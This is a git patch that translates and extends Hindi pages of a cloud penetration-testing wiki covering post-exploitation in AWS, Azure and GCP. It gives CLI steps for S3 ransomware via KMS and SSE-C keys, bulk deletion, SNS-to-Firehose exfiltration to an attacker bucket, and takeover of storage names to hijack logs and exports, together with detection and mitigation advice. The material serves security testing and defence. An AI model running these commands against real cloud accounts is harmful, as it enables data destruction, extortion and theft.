From dadb0118568045a83de964f5fd730fbd3257e6e1 Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Thu, 25 Jun 2026 15:59:35 +0000
Subject: [PATCH] Translated
 ['src/pentesting-cloud/aws-security/aws-post-exploitation/aws

---
 .../aws-s3-post-exploitation/README.md        |  90 +++++++++-----
 .../aws-sns-firehose-exfil.md                 |  30 +++--
 .../az-blob-storage-post-exploitation.md      |  37 +++++-
 .../gcp-logging-post-exploitation.md          |  64 +++++++---
 .../gcp-pub-sub-post-exploitation.md          |  87 +++++++++-----
 .../gcp-storage-post-exploitation.md          |  60 +++++++---
 .../pentesting-cloud-methodology.md           | 111 ++++++++++++------
 7 files changed, 338 insertions(+), 141 deletions(-)

diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
index 351560f68..fa99f8ba5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md
@@ -4,45 +4,45 @@
 
 ## S3
 
-For more information check:
+अधिक जानकारी के लिए देखें:
 
 {{#ref}}
 ../../aws-services/aws-s3-athena-and-glacier-enum.md
 {{#endref}}
 
-### संवेदनशील जानकारी
+### Sensitive Information
 
-कभी-कभी आप buckets में पठनीय रूप में संवेदनशील जानकारी पा सकते हैं। उदाहरण के लिए, terraform state secrets।
+कभी-कभी आप buckets में readable sensitive information पा सकते हैं। उदाहरण के लिए, terraform state secrets.
 
 ### Pivoting
 
-विभिन्न प्लेटफ़ॉर्म S3 का उपयोग संवेदनशील assets स्टोर करने के लिए कर सकते हैं।\
-उदाहरण के लिए, **airflow** वहाँ **DAGs** **code** स्टोर कर सकता है, या **web pages** सीधे S3 से serve की जा सकती हैं। write permissions वाला एक हमलावर बकेट के **code** को modify करके अन्य प्लेटफ़ॉर्म पर **pivot** कर सकता है, या JS files को modify करके accounts **takeover** कर सकता है।
+अलग-अलग platforms S3 का उपयोग sensitive assets स्टोर करने के लिए कर सकते हैं।\
+उदाहरण के लिए, **airflow** वहाँ **DAGs** **code** स्टोर कर सकता है, या **web pages** सीधे S3 से serve की जा सकती हैं। write permissions वाला attacker bucket के **code** को **modify** करके अन्य platforms तक **pivot** कर सकता है, या JS files modify करके **accounts takeover** कर सकता है।
 
 ### S3 Ransomware
 
-इस परिदृश्य में, हमलावर अपनी खुद की AWS account में या किसी अन्य compromised account में **KMS (Key Management Service) key बनाता है**। फिर वह इस **key को दुनिया में किसी के लिए भी accessible** बना देता है, जिससे कोई भी AWS user, role, या account इस key का उपयोग करके objects को encrypt कर सके। हालांकि, objects decrypt नहीं किए जा सकते हैं।
+इस scenario में, **attacker अपने AWS account** या किसी और compromised account में एक KMS (Key Management Service) key बनाता है। फिर वे इस **key को पूरी दुनिया के लिए accessible** बना देते हैं, जिससे कोई भी AWS user, role, या account इस key का उपयोग करके objects encrypt कर सके। हालांकि, objects decrypt नहीं किए जा सकते।
 
-हमलावर एक target **S3 bucket की पहचान करता है और उस पर write-level access हासिल कर लेता है** विभिन्न तरीकों से। यह खराब bucket configuration के कारण हो सकता है जो इसे public रूप से expose करता है, या हमलावर AWS environment तक पहुँच बना लेता है। हमलावर आम तौर पर उन buckets को target करता है जिनमें PII, PHI, logs, backups जैसे संवेदनशील जानकारी होती है।
+Attacker एक target **S3 bucket** की पहचान करता है और विभिन्न methods का उपयोग करके उस पर write-level access हासिल करता है। यह खराब bucket configuration के कारण हो सकता है जो इसे publicly expose करती है, या attacker के AWS environment में access पाने के कारण। Attacker आमतौर पर उन buckets को target करता है जिनमें personally identifiable information (PII), protected health information (PHI), logs, backups, और अन्य sensitive जानकारी होती है।
 
-यह निर्धारित करने के लिए कि bucket ransomware के लिए target किया जा सकता है या नहीं, हमलावर इसके configuration की जाँच करता है। इसमें यह सत्यापित करना शामिल है कि **S3 Object Versioning** enabled है या नहीं और कि **multi-factor authentication delete (MFA delete)** enabled है या नहीं। यदि Object Versioning enabled नहीं है, तो हमलावर आगे बढ़ सकता है। यदि Object Versioning enabled है लेकिन MFA delete disabled है, तो हमलावर Object Versioning को **disable** कर सकता है। यदि दोनों Object Versioning और MFA delete enabled हैं, तो उस विशेष bucket को ransomware करना मुश्किल हो जाता है।
+यह तय करने के लिए कि bucket को ransomware के लिए target किया जा सकता है या नहीं, attacker उसकी configuration check करता है। इसमें यह verify करना शामिल है कि **S3 Object Versioning** enabled है या नहीं और **multi-factor authentication delete (MFA delete)** enabled है या नहीं। यदि Object Versioning enabled नहीं है, तो attacker आगे बढ़ सकता है। यदि Object Versioning enabled है लेकिन MFA delete disabled है, तो attacker **Object Versioning disable** कर सकता है। यदि Object Versioning और MFA delete दोनों enabled हैं, तो उस specific bucket को ransomware करना attacker के लिए अधिक कठिन हो जाता है।
 
-AWS API का उपयोग करके, हमलावर **bucket में प्रत्येक object को उनके KMS key का उपयोग करके एक encrypted copy से replace कर देता है**। यह प्रभावी रूप से bucket के डेटा को encrypt कर देता है, जिससे key के बिना वह डेटा inaccessible हो जाता है।
+AWS API का उपयोग करके, attacker bucket के हर object को **replace** करके उसे अपने KMS key से encrypted copy बना देता है। इससे bucket का data effectively encrypt हो जाता है और key के बिना inaccessible हो जाता है।
 
-अतिरिक्त दबाव बनाने के लिए, हमलावर उस KMS key को delete करने का schedule भी सेट कर सकता है जिसका उपयोग हमले में किया गया था। इससे target के पास अपनी data recover करने के लिए 7 दिनों की विंडो बन जाती है, उसके बाद key delete होकर डेटा स्थायी रूप से खो सकता है।
+और अधिक pressure डालने के लिए, attacker attack में इस्तेमाल किए गए KMS key के deletion को schedule करता है। इससे target के पास key delete होने और data के permanently lost होने से पहले data recover करने के लिए 7 दिनों की window होती है।
 
-अंत में, हमलावर आम तौर पर एक final file upload कर सकता है, जिसका नाम अक्सर "ransom-note.txt" होता है, जिसमें target को उनकी files कैसे वापस पाएं इसकी instructions होती हैं। यह file बिना encryption के upload की जाती है, ताकि यह target का ध्यान आकर्षित करे और उन्हें ransomware हमले के बारे में बताए।
+अंत में, attacker एक final file upload कर सकता है, जिसका नाम आमतौर पर "ransom-note.txt" होता है, जिसमें target के लिए instructions होती हैं कि वे अपनी files कैसे retrieve करें। यह file बिना encryption के upload की जाती है, संभवतः target का ध्यान खींचने और उन्हें ransomware attack के बारे में aware कराने के लिए।
 
 #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like)
 
-एक अन्य variant **SSE-C** (S3 server-side encryption with **customer-provided keys**) का दुरुपयोग है। SSE-C में, **client हर request पर encryption key प्रदान करता है** और **AWS key को store नहीं करता**। इसका मतलब है कि यदि कोई हमलावर objects को **उनकी अपनी SSE-C key** का उपयोग करके rewrite कर देता है, तो victim का डेटा उस attacker-controlled key के बिना unreadable हो जाता है।
+एक और variant **SSE-C** (S3 server-side encryption with **customer-provided keys**) का abuse करना है। SSE-C में, **client हर request पर encryption key provide करता है** और **AWS key store नहीं करता**। इसका मतलब है कि यदि attacker **अपनी SSE-C key** का उपयोग करके objects rewrite करता है, तो victim का data unreadable हो जाता है, जब तक victim वह attacker-controlled key provide न कर सके।
 
-- **Preconditions:** Compromised AWS credentials (or any principal with the right permissions) और objects को **rewrite** करने की क्षमता (उदा., `s3:PutObject` target keys/prefixes पर)। यह अक्सर destructive lifecycle policies सेट करने की क्षमता के साथ जुड़ा होता है (नीचे देखें), उदा., `s3:PutLifecycleConfiguration`।
+- **Preconditions:** Compromised AWS credentials (या सही permissions वाला कोई भी principal) और **objects rewrite** करने की क्षमता (जैसे, target keys/prefixes पर `s3:PutObject`)। यह अक्सर destructive lifecycle policies set करने की क्षमता के साथ paired होता है (नीचे देखें), जैसे `s3:PutLifecycleConfiguration`.
 - **Attack chain:**
-1. हमलावर एक यादृच्छिक 256-bit key (AES-256) जनरेट करता है और उसे सुरक्षित रखता है।
-2. हमलावर मौजूदा objects (same object keys) को SSE-C headers का उपयोग करके **rewrite** करता है ताकि stored object अब हमलावर की key से encrypted हो।
-3. Victim SSE-C key प्रदान किए बिना download/decrypt नहीं कर सकता (भले ही IAM permissions ठीक हों)।
-4. हमलावर key को delete कर सकता है (या सादे तौर पर कभी प्रदान न करे) ताकि डेटा unrecoverable बन जाए।
+1. Attacker एक random 256-bit key (AES-256) generate करता है और उसे रखता है।
+2. Attacker मौजूदा objects (same object keys) को SSE-C headers का उपयोग करके **rewrite** करता है, ताकि stored object अब attacker key से encrypted हो।
+3. Victim SSE-C key provide किए बिना download/decrypt नहीं कर सकता (भले ही IAM permissions ठीक हों)।
+4. Attacker key delete कर सकता है (या बस उसे कभी provide नहीं करता) ताकि data unrecoverable हो जाए।
 
 Example (conceptual) CLI usage:
 ```bash
@@ -56,25 +56,25 @@ aws s3 cp s3://<BUCKET>/<KEY> ./file \
 --sse-c AES256 \
 --sse-c-key <BASE64_32_BYTES>
 ```
-##### दबाव बढ़ाना: Lifecycle "Timer" का दुरुपयोग
+##### Adding Pressure: Lifecycle "Timer" Abuse
 
-रिकवरी विकल्पों (जैसे old versions) को हटाने के लिए, attackers SSE-C rewrites को **lifecycle rules** के साथ जोड़ सकते हैं जो objects को expire कर देते हैं और/या short period के बाद noncurrent versions को delete कर देते हैं:
+Recovery options को हटाने के लिए (जैसे old versions), attackers SSE-C rewrites को **lifecycle rules** के साथ जोड़ सकते हैं जो objects और/या noncurrent versions को थोड़े समय बाद expire या delete करती हैं:
 
-- `s3:PutLifecycleConfiguration` on the bucket attackers को हर object/version के लिए explicit delete ऑपरेशन जारी किए बिना deletions शेड्यूल करने देता है।
-- यह खासकर तब प्रभावी होता है जब **versioning is enabled**, क्योंकि यह "previous good version" को हटा सकता है जो अन्यथा recovery की अनुमति देता।
+- bucket पर `s3:PutLifecycleConfiguration` attacker को हर object/version के लिए explicit delete operations किए बिना deletions schedule करने देता है।
+- यह खास तौर पर तब प्रभावी होता है जब **versioning enabled** हो, क्योंकि यह "previous good version" को हटा सकता है, जो otherwise recovery के लिए काम आता।
 
-##### डिटेक्शन और निवारण
+##### Detection & Mitigations
 
-- Prefer **SSE-KMS** (or SSE-S3) over SSE-C जब तक कि आपके पास SSE-C की अनुमति देने का मजबूत operational कारण न हो।
-- SSE-C headers का उपयोग करने वाले `PutObject` अनुरोधों पर Monitor/alert रखें (CloudTrail data events for S3)।
-- unexpected `PutBucketLifecycleConfiguration` (lifecycle changes) पर Monitor/alert रखें।
-- overwrite activity में अचानक spikes (same keys का rapid update) और delete-marker/version deletions पर Monitor/alert रखें।
-- High-risk permissions को Restrict करें: आवश्यक prefixes तक ही `s3:PutObject` को सीमित करें; `s3:PutLifecycleConfiguration` और `s3:PutBucketVersioning` को कड़ाई से प्रतिबंधित करें; संवेदनशील admin actions के लिए MFA मांगने पर विचार करें (जहाँ लागू हो) और approvals के साथ separate admin roles का उपयोग करें।
-- Recovery posture: **versioning**, **backups**, और immutable/offline copies (S3 replication to protected account, backup vaults, आदि) का उपयोग करें; noncurrent versions को aggressive deletion से बचाएँ और lifecycle changes को SCPs / guardrails के साथ सुरक्षित रखें।
+- **SSE-C** के बजाय **SSE-KMS** (या SSE-S3) को prefer करें, जब तक SSE-C allow करने का कोई मजबूत operational reason न हो।
+- SSE-C headers वाले `PutObject` requests पर monitor/alert करें (S3 के लिए CloudTrail data events)।
+- unexpected `PutBucketLifecycleConfiguration` (lifecycle changes) पर monitor/alert करें।
+- overwrite activity में sudden spikes (same keys का तेज़ी से update होना) और delete-marker/version deletions पर monitor/alert करें।
+- high-risk permissions restrict करें: `s3:PutObject` को ज़रूरी prefixes तक limit करें; `s3:PutLifecycleConfiguration` और `s3:PutBucketVersioning` को बहुत tightly restrict करें; sensitive admin actions के लिए MFA require करने पर विचार करें (जहां applicable हो) और approvals के साथ separate admin roles use करें।
+- Recovery posture: **versioning**, **backups**, और immutable/offline copies (protected account में S3 replication, backup vaults, आदि) use करें; noncurrent versions को aggressive deletion से protect करें और SCPs / guardrails के साथ lifecycle changes को guard करें।
 
 ### `s3:RestoreObject`
 
-एक attacker जिसके पास s3:RestoreObject permission है, वह Glacier या Deep Archive में archived objects को re‑activate कर सकता है, जिससे वे अस्थायी रूप से accessible हो जाते हैं। इससे historically archived data (backups, snapshots, logs, certifications, old secrets) की recovery और exfiltration संभव हो जाती है जो सामान्यतः पहुँच से बाहर होती। यदि attacker इस permission को read permissions (उदा., s3:GetObject) के साथ जोड़ता है, तो वे संवेदनशील डेटा की पूर्ण प्रतियाँ प्राप्त कर सकते हैं।
+`s3:RestoreObject` permission वाला attacker Glacier या Deep Archive में archived objects को reactivate कर सकता है, जिससे वे temporarily accessible हो जाते हैं। इससे historically archived data (backups, snapshots, logs, certifications, old secrets) की recovery और exfiltration possible हो जाती है, जो normally reach से बाहर होता। अगर attacker इस permission को read permissions (जैसे `s3:GetObject`) के साथ combine करता है, तो वह sensitive data की full copies प्राप्त कर सकता है।
 ```bash
 aws s3api restore-object \
 --bucket <BUCKET_NAME> \
@@ -86,7 +86,7 @@ aws s3api restore-object \
 ```
 ### `s3:Delete*`
 
-जिस हमलावर के पास s3:Delete* permission है, वह objects, versions और पूरे buckets को हटा सकता है, backups को बाधित कर सकता है, और तात्कालिक व अपरिवर्तनीय डेटा हानि, साक्ष्य के नाश, तथा backup या recovery artifacts का समझौता कर सकता है।
+`स3:Delete*` अनुमति वाला एक attacker objects, versions, और पूरे buckets को delete कर सकता है, backups को disrupt कर सकता है, और तुरंत तथा अपरिवर्तनीय data loss, evidence की destruction, और backup या recovery artifacts के compromise का कारण बन सकता है.
 ```bash
 # Delete an object from a bucket
 aws s3api delete-object \
@@ -103,6 +103,34 @@ aws s3api delete-object \
 aws s3api delete-bucket \
 --bucket <BUCKET_NAME>
 ```
-**अधिक जानकारी के लिए** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
+### autonomous writers का Global bucket name takeover - `s3:DeleteBucket`
+
+S3 bucket names globally unique होते हैं। अगर किसी victim account में automated writers हैं जो `arn:aws:s3:::<bucket-name>` पर data deliver करते रहते हैं और attacker उस bucket को empty/delete कर सकता है, तो attacker attacker-controlled account में same bucket name फिर से बना सकता है और upstream service configuration बदले बिना future deliveries receive कर सकता है।
+
+Review करने के लिए अच्छे targets में S3 replication destinations, Kinesis Data Firehose delivery streams, CloudWatch Logs/SNS/WAF delivery chains जो S3 में land करते हैं, और custom backup या export jobs शामिल हैं।
+```bash
+# Review S3 replication destinations on source buckets
+aws s3api get-bucket-replication --bucket <SOURCE_BUCKET>
+
+# Review Firehose S3 destinations
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME>
+
+# Empty and delete the target bucket, if permitted
+aws s3 rm s3://<BUCKET_NAME> --recursive
+aws s3api delete-bucket --bucket <BUCKET_NAME>
+
+# Recreate the same globally-unique name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+रिप्लेसमेंट bucket policy को upstream writer को objects put करने की अनुमति देनी चाहिए। exact principal service पर निर्भर करता है: उदाहरण के लिए एक IAM replication role, एक Firehose delivery role, या `aws:SourceArn` / `aws:SourceAccount` के साथ constrained service principal।
+
+**संभावित प्रभाव:** future replicated objects, logs, telemetry, backups, और pipeline artifacts का attacker-controlled AWS account में silent exfiltration।
+
+**Detection & Mitigation:** replication rules या delivery streams में referenced buckets के deletion पर alert करें, `NoSuchBucket` delivery failures के बाद bucket recreation की निगरानी करें, export destinations पर `s3:DeleteBucket` को restrict करें, और strict bucket policies तथा ownership expectations के साथ cross-account deliveries को pin करें।
+
+
+
+**अधिक जानकारी के लिए** [**original research देखें**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
index d893eb0f5..19b87cbbc 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md
@@ -2,12 +2,12 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-Firehose subscription protocol का दुरुपयोग करके attacker-controlled Kinesis Data Firehose delivery stream को victim SNS standard topic पर register करें। एक बार subscription स्थापित हो जाने और आवश्यक IAM role `sns.amazonaws.com` पर trust करने के बाद, हर भविष्य की notification ध्वनि कम रखते हुए attacker’s S3 bucket में स्थायी रूप से लिखी जाएगी।
+Firehose subscription protocol का abuse करके attacker-controlled Kinesis Data Firehose delivery stream को victim SNS standard topic पर register करें। एक बार subscription setup हो जाने पर और required IAM role जब `sns.amazonaws.com` पर trust करती है, तो हर future notification minimal noise के साथ attacker के S3 bucket में durably write हो जाती है।
 
 ## Requirements
-- attacker account में S3 bucket, Firehose delivery stream, और Firehose द्वारा उपयोग की जाने वाली IAM role (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, आदि) बनाने की Permissions।
-- victim topic पर `sns:Subscribe` करने की क्षमता (और वैकल्पिक रूप से यदि subscription role ARN बाद में प्रदान किया जाता है तो `sns:SetSubscriptionAttributes`)।
-- एक topic policy जो attacker principal को subscribe करने की अनुमति देती हो (या attacker पहले से ही उसी account के अंदर ऑपरेट कर रहा हो)।
+- attacker account में permissions, ताकि S3 bucket, Firehose delivery stream, और Firehose द्वारा इस्तेमाल होने वाली IAM role create की जा सके (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.).
+- victim topic पर `sns:Subscribe` करने की ability (और optionally `sns:SetSubscriptionAttributes` अगर subscription role ARN creation के बाद provide किया जाता है).
+- एक topic policy जो attacker principal को subscribe करने दे (या attacker already same account के अंदर operate कर रहा हो).
 
 ## Attack Steps (same-account example)
 ```bash
@@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio
 sleep 90
 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive
 ```
-## सफाई
-- SNS subscription, Firehose delivery stream, temporary IAM roles/policies, और हमलावर का S3 bucket हटाएँ।
+## Cleanup
+- SNS subscription, Firehose delivery stream, temporary IAM roles/policies, और attacker S3 bucket को delete करें।
 
-## प्रभाव
-**संभावित प्रभाव**: लक्षित SNS topic पर प्रकाशित प्रत्येक संदेश का न्यूनतम ऑपरेशनल फुटप्रिंट के साथ लगातार और टिकाऊ exfiltration हमलावर-नियंत्रित स्टोरेज में।
+## Impact
+**Potential Impact**: targeted SNS topic पर publish होने वाले हर message का continuous, durable exfiltration attacker-controlled storage में, minimal operational footprint के साथ।
+
+## Related Bucket-Name Hijack Variant
+
+अगर existing SNS -> Firehose -> S3 chain पहले से किसी bucket में write कर रही है और attacker उस bucket को delete कर सकता है, तो वे उसी globally-unique S3 bucket name को attacker-controlled account में फिर से create कर सकते हैं। Future Firehose deliveries फिर replacement bucket में जा सकती हैं, बिना SNS subscription या Firehose stream configuration बदले।
+```bash
+# Identify the Firehose S3 destination
+aws firehose describe-delivery-stream \
+--delivery-stream-name <DELIVERY_STREAM_NAME> \
+--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription'
+
+# After deleting the original bucket, recreate the same name in the attacker account
+aws s3 mb s3://<BUCKET_NAME> --region <REGION>
+```
+यदि role cross-account write कर सकता है, तो Firehose delivery role को replacement bucket तक access दें। Firehose destinations पर bucket deletion, delivery failures, और unexpected bucket ownership changes के लिए monitor करें।
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
index b0448f57e..8b431f199 100644
--- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
+++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Storage Privesc
 
-स्टोरेज के बारे में अधिक जानकारी के लिए देखें:
+Storage के बारे में अधिक जानकारी के लिए देखें:
 
 {{#ref}}
 ../az-services/az-storage.md
@@ -12,7 +12,7 @@
 
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read`
 
-इस अनुमति के साथ एक प्रिंसिपल कंटेनर के अंदर के ब्लॉब्स (फाइलों) को **सूचीबद्ध** करने और **डाउनलोड** करने में सक्षम होगा, जो **संवेदनशील जानकारी** हो सकती है।
+इस permission वाला principal container के अंदर मौजूद blobs (files) को **list** कर सकेगा और files को **download** कर सकेगा, जिनमें **sensitive information** हो सकती है।
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read
 az storage blob list \
@@ -26,7 +26,7 @@ az storage blob download \
 ```
 ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write`
 
-इस अनुमति के साथ एक प्रिंसिपल **कंटेनरों में फ़ाइलें लिखने और ओवरराइट करने** में सक्षम होगा, जो उसे कुछ नुकसान पहुंचाने या यहां तक कि विशेषाधिकार बढ़ाने की अनुमति दे सकता है (जैसे, एक ब्लॉब में संग्रहीत कुछ कोड को ओवरराइट करना):
+इस permission वाला principal **containers में files लिख और overwrite** कर सकेगा, जिससे वह कुछ नुकसान पहुँचा सकता है या यहाँ तक कि privileges escalate कर सकता है (e.g. blob में stored कुछ code को overwrite करना):
 ```bash
 # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write
 az storage blob upload \
@@ -36,6 +36,35 @@ az storage blob upload \
 ```
 ### \*/delete
 
-यह स्टोरेज अकाउंट के अंदर ऑब्जेक्ट्स को हटाने की अनुमति देगा, जो **कुछ सेवाओं को बाधित** कर सकता है या क्लाइंट को **कीमती जानकारी खोने** पर मजबूर कर सकता है।
+यह storage account के अंदर objects को delete करने की अनुमति देगा, जिससे **कुछ services बाधित हो सकती हैं** या client **महत्वपूर्ण जानकारी खो सकता है**।
+
+### diagnostic exports का Storage account name takeover
+
+Azure Storage account names globally unique होते हैं। कुछ autonomous exports, जैसे Azure Monitor diagnostic settings, logs या metrics को एक configured storage account में लिखते रहते हैं। अगर कोई attacker उस storage account को delete करके, उसी tenant के भीतर attacker-controlled subscription में वही नाम दोबारा create कर सकता है, तो future exported telemetry बिना diagnostic setting बदले replacement account में deliver हो सकती है।
+
+यह खास तौर पर तब दिलचस्प होता है जब attacker के पास `Microsoft.Storage/storageAccounts/delete` जैसी destructive permissions हों, लेकिन वह monitored resource या उसकी diagnostic settings को update नहीं कर सकता।
+
+इसके लिए storage account name का reuse के लिए release होना ज़रूरी है। व्यवहार में, Azure storage account soft delete / recovery protections immediate reuse को delay या prevent कर सकती हैं, खासकर tenants के बीच।
+```bash
+# Find diagnostic settings that write to a storage account
+az monitor diagnostic-settings list \
+--resource <RESOURCE_ID> \
+--query '[].{name:name,storageAccountId:storageAccountId}'
+
+# Delete the storage account, if permitted
+az storage account delete \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <RESOURCE_GROUP>
+
+# Recreate the same globally-unique storage account name
+az storage account create \
+--name <STORAGE_ACCOUNT_NAME> \
+--resource-group <ATTACKER_RESOURCE_GROUP> \
+--location <LOCATION> \
+--sku Standard_LRS
+```
+**संभावित प्रभाव:** भविष्य के logs, metrics, audit data, और diagnostic archives का long-term exfiltration attacker-controlled subscription में।
+
+**Detection & Mitigation:** diagnostic settings द्वारा संदर्भित storage accounts के deletion पर alert करें, `storageAccountId` के साथ diagnostic settings की inventory रखें, dangling destinations की निगरानी करें, और logging/archive storage accounts पर destructive permissions को tightly restrict करें।
 
 {{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
index ca82c0290..119f99953 100644
--- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
+++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md
@@ -1,8 +1,8 @@
-# GCP - लॉगिंग पोस्ट एक्सप्लॉइटेशन
+# GCP - Logging Post Exploitation
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## बुनियादी जानकारी
+## Basic Information
 
 अधिक जानकारी के लिए देखें:
 
@@ -10,25 +10,25 @@
 ../gcp-services/gcp-logging-enum.md
 {{#endref}}
 
-मॉनिटरिंग बाधित करने के अन्य तरीकों के लिए देखें:
+monitoring को बाधित करने के अन्य तरीकों के लिए देखें:
 
 {{#ref}}
 gcp-monitoring-post-exploitation.md
 {{#endref}}
 
-### डिफ़ॉल्ट लॉगिंग
+### Default Logging
 
-**डिफ़ॉल्ट रूप से, केवल पढ़ने वाली क्रियाएँ करने के लिए आपको पकड़ा नहीं जाएगा। अधिक जानकारी के लिए Logging Enum सेक्शन देखें।**
+**By default आप केवल read actions करने के लिए caught नहीं होंगे। अधिक जानकारी के लिए Logging Enum section देखें।**
 
-### Excepted Principal जोड़ें
+### Add Excepted Principal
 
-In [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) and [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) में principals जोड़ना संभव है ताकि logs उत्पन्न न हों। एक हमलावर इसे दुरुपयोग करके पकड़े जाने से बच सकता है।
+[https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) और [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) में principals को logs generate न करने के लिए add करना possible है। एक attacker इसका abuse करके caught होने से बच सकता है।
 
-### लॉग पढ़ें - `logging.logEntries.list`
+### Read logs - `logging.logEntries.list`
 
 <details>
 
-<summary>लॉग एंट्री पढ़ें</summary>
+<summary>Read log entries</summary>
 ```bash
 # Read logs
 gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json
@@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
 
 <details>
 
-<summary>लॉग बकेट की प्रतिधारण अवधि अपडेट करें</summary>
+<summary>लॉग bucket retention अपडेट करें</summary>
 ```bash
 # Set retention period to 1 day (_Required has a fixed one of 400days)
 
@@ -78,7 +78,7 @@ gcloud logging buckets update bucketlog --location=<location> --description="New
 
 <details>
 
-<summary>लॉग बकेट हटाएं</summary>
+<summary>लॉग bucket हटाएं</summary>
 ```bash
 # Delete log bucket
 gcloud logging buckets delete BUCKET_NAME --location=<location>
@@ -89,7 +89,7 @@ gcloud logging buckets delete BUCKET_NAME --location=<location>
 
 <details>
 
-<summary>लॉग लिंक हटाएं</summary>
+<summary>Delete log link</summary>
 ```bash
 # Delete link
 gcloud logging links delete <link-id> --bucket <bucket> --location <location>
@@ -100,7 +100,7 @@ gcloud logging links delete <link-id> --bucket <bucket> --location <location>
 
 <details>
 
-<summary>लॉगिंग व्यू हटाएँ</summary>
+<summary>लॉगिंग view हटाएं</summary>
 ```bash
 # Delete a logging view to remove access to anyone using it
 gcloud logging views delete <view-id> --bucket=<bucket> --location=global
@@ -111,7 +111,7 @@ gcloud logging views delete <view-id> --bucket=<bucket> --location=global
 
 <details>
 
-<summary>लॉगिंग व्यू को डेटा छिपाने के लिए अपडेट करें</summary>
+<summary>डेटा छिपाने के लिए logging view अपडेट करें</summary>
 ```bash
 # Update a logging view to hide data
 gcloud logging views update <view-id> --log-filter="resource.type=gce_instance" --bucket=<bucket> --location=global --description="New description for the log view"
@@ -122,7 +122,7 @@ gcloud logging views update <view-id> --log-filter="resource.type=gce_instance"
 
 <details>
 
-<summary>लॉग-आधारित मैट्रिक्स अपडेट करें</summary>
+<summary>log-based metrics अपडेट करें</summary>
 ```bash
 # Update log based metrics - logging.logMetrics.update
 gcloud logging metrics update <metric-name> --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID
@@ -133,7 +133,7 @@ gcloud logging metrics update <metric-name> --description="Changed metric descri
 
 <details>
 
-<summary>लॉग-आधारित मेट्रिक्स हटाएँ</summary>
+<summary>लॉग-आधारित metrics delete करें</summary>
 ```bash
 # Delete log based metrics - logging.logMetrics.delete
 gcloud logging metrics delete <metric-name>
@@ -144,7 +144,7 @@ gcloud logging metrics delete <metric-name>
 
 <details>
 
-<summary>log sink हटाएँ</summary>
+<summary>लॉग sink हटाएँ</summary>
 ```bash
 # Delete sink - logging.sinks.delete
 gcloud logging sinks delete <sink-name>
@@ -155,7 +155,7 @@ gcloud logging sinks delete <sink-name>
 
 <details>
 
-<summary>लॉग सिंक को अपडेट/बाधित करें</summary>
+<summary>log sink को अपडेट/बाधित करें</summary>
 ```bash
 # Disable sink - logging.sinks.update
 gcloud logging sinks update <sink-name> --disabled
@@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables
 ```
 </details>
 
+### Cloud Logging sink bucket-name hijack - `storage.buckets.delete`
+
+Cloud Logging sinks लगातार logs को Cloud Storage destination जैसे `storage.googleapis.com/<bucket-name>` या `storage.googleapis.com/<bucket-name>/<prefix>` पर export कर सकते हैं। अगर एक attacker destination bucket को delete कर सकता है, लेकिन sink को update नहीं कर सकता, तो वह फिर भी उसी globally-unique bucket name को attacker-controlled project में recreate करके future exported logs को redirect कर सकता है।
+
